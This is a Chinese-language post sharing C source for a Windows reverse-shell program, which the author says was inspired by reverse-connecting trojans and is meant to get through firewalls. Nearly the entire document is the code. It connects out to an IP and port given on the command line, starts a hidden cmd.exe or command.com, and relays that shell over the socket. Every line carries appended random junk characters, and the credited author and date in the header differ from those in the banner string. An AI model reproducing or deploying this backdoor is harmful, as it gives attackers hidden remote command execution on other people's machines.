这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !6taOT>v
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/* ============================== 'SE5sB
Rebound port in Windows NT ;)f,A)(Z
By wind,2006/7 =mwAbh)[7n
===============================*/ SdI>
#include @GweNo`p7
#include {P?p*2J'
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#pragma comment(lib,"wsock32.lib") Y2uy@j*N
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void OutputShell(); &F0>V o
SOCKET sClient; {^:i}4ZRl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s}gdi
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void main(int argc,char **argv) /_(l:q^
{ /sB,)>X
WSADATA stWsaData; Ql}#mC.>/
int nRet; ucLh|}jJ5
SOCKADDR_IN stSaiClient,stSaiServer; ygV-Fv>PQ
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if(argc != 3) }lx'NY~(W
{ maQDD*
printf("Useage:\n\rRebound DestIP DestPort\n"); TuwSJS7
return; rUB67ok*
} >I/~)B`jhE
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WSAStartup(MAKEWORD(2,2),&stWsaData); y>J6)F
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O~Dm|hP
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stSaiClient.sin_family = AF_INET; wD pL9 q
stSaiClient.sin_port = htons(0); kI*f}3)Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zqg
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1[Jv9S*f/
{ }"^d<dvuz
printf("Bind Socket Failed!\n"); S }G3h a
return; 59_VC('
} -A"0mS8L
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stSaiServer.sin_family = AF_INET; a/q8v P
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2ZMVYa2%(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9aKCO4
S)@) @3
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1u~.^O}J
{ .Dyxul
printf("Connect Error!"); KJ6:ZTbW
return; o2riy'~
} AcY!
OutputShell(); \v.YP19
} ='.G,aJ9
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void OutputShell() u6p
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{ 4,6nk.$yN
char szBuff[1024]; uI&<H T?
SECURITY_ATTRIBUTES stSecurityAttributes; cD4H@!=a
OSVERSIONINFO stOsversionInfo; :P\RiaZAT
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jE, oEt O;
STARTUPINFO stStartupInfo; JI~@H /j
char *szShell; [YQ` `
PROCESS_INFORMATION stProcessInformation; D5fhOq+g
unsigned long lBytesRead; k/#321Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lJXihr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Vbpt?1:
stSecurityAttributes.lpSecurityDescriptor = 0; vWpkU<&3|
stSecurityAttributes.bInheritHandle = TRUE; @D&}ZV=J
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &H@OLyC
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); km#Rh^
nQ^<h.
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D|R,$v:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G~Mxh,aD$>
stStartupInfo.wShowWindow = SW_HIDE; n42XqR
stStartupInfo.hStdInput = hReadPipe; l?LP:;S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D^JuL6U
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GetVersionEx(&stOsversionInfo); $P%b?Y/
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switch(stOsversionInfo.dwPlatformId) (GJW3
{ s+yX82Y
case 1: ,~,{$\p
szShell = "command.com"; ZSg["`
break; jZvQMW
default: yzQ^KqLH
szShell = "cmd.exe"; *~%#
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break; ,k5b,}tN
} (VzabO
;F!wyTF>}
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ohmi(s
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send(sClient,szMsg,77,0); U[ $A=e?\Y
while(1) L=wg"$
{ ?3
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g0BJj=
if(lBytesRead) :{Crc
{ g [~"c}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gM<*(=x'
send(sClient,szBuff,lBytesRead,0); (X"WEp^Q{I
} 9e|]H+y
else KvrcO#-sL
{ ~ST7@-D0
lBytesRead=recv(sClient,szBuff,1024,0); b8@gv OB
if(lBytesRead<=0) break; HFL(t]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K;wd2/jmJ
} . !|3a
} +EWfsKz
do:3aP'S,
return; Q'~2,%3<
}